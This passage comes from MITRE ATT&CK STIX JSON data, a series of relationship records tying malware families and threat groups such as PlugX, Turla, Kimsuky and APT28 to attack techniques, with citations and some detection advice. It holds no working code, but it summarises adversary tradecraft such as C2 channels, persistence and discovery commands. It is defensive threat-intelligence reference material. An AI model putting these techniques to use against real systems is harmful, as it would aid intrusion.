["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e7460f8-9ea9-4aa4-b06e-15861b02d70e", "type": "relationship", "created": "2019-01-29T18:17:59.279Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CIRCL PlugX March 2013", "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}], "modified": "2019-04-19T15:08:16.052Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate network shares.(Citation: CIRCL PlugX March 2013)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e7e3226-1583-48de-9376-946fa88b6d15", "type": "relationship", "created": "2019-01-29T21:36:59.980Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise", "source_name": "Unit42 SilverTerrier 2018"}], "modified": "2020-03-17T02:36:01.222Z", "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) uses SMTP for C2 communications.(Citation: Unit42 SilverTerrier 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e7f7b93-bf98-4528-b6bc-dc60e47af788", "type": "relationship", "created": "2020-02-10T19:55:29.505Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-10T19:55:29.505Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Taidoor", "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}, {"source_name": "CISA MAR-10292089-1.v2 TAIDOOR August 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "description": "CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 \u2013 Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}], "modified": "2021-10-14T22:21:20.926Z", "description": "[Taidoor](https://attack.mitre.org/software/S0011) can perform DLL loading.(Citation: TrendMicro Taidoor)(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)", "relationship_type": "uses", "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e8f23be-48b6-4236-9475-89f11e769ee6", "type": "relationship", "created": "2020-06-30T22:12:28.116Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}, {"source_name": "Secureworks IRON HUNTER Profile", "url": "http://www.secureworks.com/research/threat-profiles/iron-hunter", "description": "Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."}], "modified": "2022-03-09T23:34:49.389Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has infected victims using watering holes.(Citation: ESET ComRAT May 2020)(Citation: Secureworks IRON HUNTER Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e8fc958-6778-4c46-ae15-0d239309bc76", "type": "relationship", "created": "2019-01-29T18:44:04.934Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DigiTrust Agent Tesla Jan 2017", "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/", "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."}, {"description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html", "source_name": "Fortinet Agent Tesla June 2017"}], "modified": "2020-03-18T19:25:30.208Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used HTTP for C2 communications.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla June 2017)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e9256c1-5ad5-4fb2-9a75-0267a2daae89", "type": "relationship", "created": "2020-10-01T18:55:37.416Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Oct 2018", "url": "https://www.justice.gov/opa/page/file/1098481/download", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}], "modified": "2020-10-06T23:32:24.927Z", "description": "In 2016, [APT28](https://attack.mitre.org/groups/G0007) conducted a distributed denial of service (DDoS) attack against the World Anti-Doping Agency.(Citation: US District Court Indictment GRU Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e967f56-9186-43d5-b748-4ee383df4174", "type": "relationship", "created": "2020-09-29T15:45:28.911Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PWC WellMess July 2020", "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."}, {"source_name": "CISA WellMess July 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b", "description": "CISA. (2020, July 16). MAR-10296782-2.v1 \u2013 WELLMESS. Retrieved September 24, 2020."}], "modified": "2020-09-30T14:52:09.064Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) can identify the computer name of a compromised host.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5e9bee3d-ea86-4715-9fdc-199e10ef2161", "type": "relationship", "created": "2017-05-31T21:33:27.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "source_name": "Kaspersky Sofacy"}, {"source_name": "Securelist Sofacy Feb 2018", "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."}], "modified": "2019-09-09T17:44:35.663Z", "description": "(Citation: Kaspersky Sofacy)(Citation: Securelist Sofacy Feb 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5ea008d4-60a3-4dfa-a670-2d70e70953b8", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.justice.gov/file/1080281/download", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. 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FIN8 Returns with Improved BADHATCH Toolkit. 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(2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. 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Retrieved April 19, 2019."}], "modified": "2020-03-20T16:37:06.707Z", "description": "(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5f488c35-1d8c-4596-985c-11f0ee37b004", "created": "2023-03-26T19:10:05.542Z", "revoked": false, "external_references": [{"source_name": "ESET Grandoreiro April 2020", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T19:10:05.542Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can store its configuration in the Registry at `HKCU\\Software\\` under frequently changing names including <code>%USERNAME%</code> and <code>ToolTech-RM</code>.(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5f4c8795-68b6-4935-beb4-adde242f44f6", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Lookout Dark Caracal Jan 2018", "description": "Blaich, A., et al. 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Retrieved April 11, 2018.", "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-01T16:56:53.747Z", "description": "[CrossRAT](https://attack.mitre.org/software/S0235) can list all files on a system.(Citation: Lookout Dark Caracal Jan 2018)", "relationship_type": "uses", "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5f5972b4-cb84-4277-83fb-55f0b210a25d", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. 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(2020, September 30). North Korea has tried to hack 11 officials of the UN Security Council. Retrieved November 4, 2020."}, {"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}, {"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}, {"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}, {"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}, {"source_name": "ThreatConnect Kimsuky September 2020", "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has registered domains to spoof targeted organizations and trusted third parties.(Citation: ThreatConnect Kimsuky September 2020)(Citation: Zdnet Kimsuky Group September 2020)(Citation: CISA AA20-301A Kimsuky)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)", "modified": "2022-04-12T17:49:04.180Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5f667e29-dd41-4dd4-a74d-fff899fe4ac6", "created": "2024-01-17T19:50:36.139Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. 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Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-19T20:48:51.378Z", "description": "The [Ninja](https://attack.mitre.org/software/S1100) loader can call Windows APIs for discovery, process injection, and payload decryption.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5f69f13e-c7e7-488f-8e5e-988ab41a2a39", "created": "2022-07-08T21:04:03.858Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "", "modified": "2022-07-08T21:04:03.858Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--438c967d-3996-4870-bfc2-3954752a1927", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5f6e76c5-732c-4bc8-9c17-ac1e58a5d88e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT BADCALL", "description": "US-CERT. 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Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2019-07-25T14:56:46.708Z", "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can download additional files from C2 servers.(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5f79680a-7b9f-47fd-bb81-025eb6368139", "created": "2022-10-04T06:54:11.907Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelLabs reversing run-only applescripts 2021", "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.", "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-20T17:10:59.389Z", "description": "[macOS.OSAMiner](https://attack.mitre.org/software/S1048) has embedded [Stripped Payloads](https://attack.mitre.org/techniques/T1027/008) within another run-only [Stripped Payloads](https://attack.mitre.org/techniques/T1027/008).(Citation: SentinelLabs reversing run-only applescripts 2021)", "relationship_type": "uses", "source_ref": "malware--2a59a237-1530-4d55-91f9-2aebf961cc37", "target_ref": "attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5f7c7285-daa4-499d-b9d6-c1028e5148d4", "created": "2022-09-26T15:12:00.080Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T12:37:28.696Z", "description": "[FunnyDream](https://attack.mitre.org/software/S1044) has the ability to discover processes, including `Bka.exe` and `BkavUtil.exe`.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5f7db516-c204-4e6b-9bda-b891bf763843", "created": "2022-08-24T14:54:12.284Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Symantec Bumblebee June 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", "description": "Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022."}, {"source_name": "Proofpoint Bumblebee April 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming", "description": "Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can create a Visual Basic script to enable persistence.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)", "modified": "2022-08-25T14:09:31.907Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5f830006-234e-44d1-9441-1aca7990006c", "type": "relationship", "created": "2020-11-06T18:40:38.335Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", "source_name": "FireEye APT19"}], "modified": "2020-11-06T18:40:38.335Z", "description": "(Citation: FireEye APT19)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5f8e0db4-70d8-49c3-9b57-f6296ec8357f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rancor Unit42 June 2018", "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2020-03-19T19:52:53.262Z", "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses the <code>ipconfig /all</code> command to gather the victim\u2019s IP address.(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5f8f4204-228c-49d3-8ec6-863b13038001", "type": "relationship", "created": "2019-04-23T13:43:22.923Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2020-03-16T17:31:49.404Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) has modules for keystroke logging and capturing credentials from spoofed Outlook authentication messages.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5f9087bc-6a55-4d7e-947f-b8a6d9cd550a", "created": "2022-07-11T20:38:56.318Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T16:31:46.859Z", "description": "Monitor for changes made to generated artifacts on a host system, including logs or captured files such as quarantined emails. \n\nOn Windows 10, mail application data is stored in <code>C:\\Users\\Username\\AppData\\Local\\Comms\\Unistore\\data</code>. On Linux, mail data is stored in <code>/var/spool/mail</code> or <code>/var/mail</code>. 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(2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Action RAT](https://attack.mitre.org/software/S1028) has the ability to collect the MAC address of an infected host.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-16T15:44:48.102Z", "relationship_type": "uses", "source_ref": "malware--36801ffb-5c85-4c50-9121-6122e389366d", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5fa15bc3-e7ec-4617-bf30-b5258af8b2ec", "created": "2020-12-29T15:21:23.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "description": "CISA. (2020, September 15). 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(2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}], "modified": "2019-06-07T20:33:39.479Z", "description": "[ServHelper](https://attack.mitre.org/software/S0382) will attempt to enumerate Windows version and system architecture.(Citation: Proofpoint TA505 Jan 2019)", "relationship_type": "uses", "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 